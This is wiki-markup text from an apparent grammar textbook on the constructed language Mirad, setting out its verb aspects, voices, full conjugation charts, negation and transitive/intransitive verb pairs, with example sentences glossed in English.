&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
